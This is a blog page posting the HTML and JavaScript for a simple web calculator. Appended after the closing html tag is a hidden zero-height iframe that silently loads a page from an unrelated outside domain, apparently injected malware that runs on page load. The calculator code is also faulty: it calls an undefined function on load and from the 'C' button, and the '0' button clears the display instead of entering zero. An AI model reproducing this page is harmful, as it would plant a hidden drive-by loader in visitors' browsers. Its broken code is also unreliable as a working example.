JS简单计算器

tempsitegoogle

浏览: 872222 次

最近访客更多访客>>

u012363178

wangyy

muyaohan

apanbo

博主相关

博客

微博

相册

留言

关于我

文章分类

全部博客 (1105)

社区版块

存档分类

2012-07 ( 389)
2012-06 ( 243)
2012-05 ( 131)
更多存档...

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<script>

var fontNwe=false;//用来判断最先输入的数是第几次
var total=0;//累计计算结果
var opp;//用来记录运算符
function clearall()
{
document.myform.optionName.value=0;
}

function enternumber(number){

if(fontNwe)//如果是真是第二次也就是说以经按了操作符了
{
document.myform.optionName.value=number;//把number负给optionName
fontNwe=false;//把它从新负假
}else
{//就是第一次又如果第一次是的话要从新给它值

if(document.myform.optionName.value=="0")
{
document.myform.optionName.value=number;

}else//让它们的值连接起来
{
document.myform.optionName.value=document.myform.optionName.value+number;

}
}
}

function operation(op)
{
var number1=document.myform.optionName.value;//用来保存第一次输入的字符串

if(fontNwe==true){//如果输入的是第一次的话
opp=op;//如果按多次符号的话保存最后一位最后返回
return;
}
if('+'==opp)//这里保存的是第二次输入的那个字符如果是第一次按操作符的话就不需要进入
{
total=parseInt(number1)+total;

}
else if('-'==opp)
{
total=total-parseFloat(number1);
}
else if('*'==opp)
{
total*=parseFloat(number1);
}
else if('/'==opp)
{
total/=parseFloat(number1);
}else {

total=parseFloat(number1);// 就把传入来的数负给全局变量的数

}
document.myform.optionName.value=total;
opp=op;//保存输入的字符串
fontNwe=true;//如果是第二次输入的话是让它为真
}
</script>
<style>
.mouserOutStyle{
width:50px;
height:23px;
font-size:14px;
}
</style>
</head>

<body onLoad="closener()">
<form name="myform" >
<table width="202" height="195" border="1" align="center">
<tr align="center" >
<td colspan="4" >
<input name="optionName" type="text" value="0" size="30" align="right"> </td>
</tr>
<tr>
<td width="56">
<input type="button" class="mouserOutStyle" onClick="enternumber('7')" name="Submit" value="7"> </td>
<td width="42"><input class="mouserOutStyle" onClick="enternumber('8')" type="button" name="Submit2" value="8"></td>
<td width="48"><input type="button" name="Submit3" onClick="enternumber('9')"class="mouserOutStyle" value="9"></td>
<td width="62"><input class="mouserOutStyle" onClick="operation('+')" type="button" name="Submit4" value="+"></td>
</tr>
<tr>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('4')" name="Submit5" value="4"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('5')"name="Submit6" value="5"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('6')" name="Submit7" value="6"></td>
<td><input type="button" class="mouserOutStyle" onClick="operation('-')" name="Submit8" value="-"></td>
</tr>
<tr>
<td><input type="button" class="mouserOutStyle" onClick="enternumber('1')" name="Submit9" value="1"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('2')" name="Submit10" value="2"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('3')" name="Submit11" value="3"></td>
<td><input type="button"class="mouserOutStyle" onClick="operation('*')" name="Submit12" value="*"></td>
</tr>
<tr>
<td height="39"><input type="button"class="mouserOutStyle" onClick="clearall('0')" name="Submit13" value="0"></td>
<td><input type="button" onClick="closener()"name="Submit14"class="mouserOutStyle" value="C"></td>
<td><input type="button" name="Submit15"class="mouserOutStyle" onClick="operation('/')" value="/"></td>
<td><input type="button" name="Submit16"class="mouserOutStyle" onClick="operation('=')" value="="></td>
</tr>
</table>
</form>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>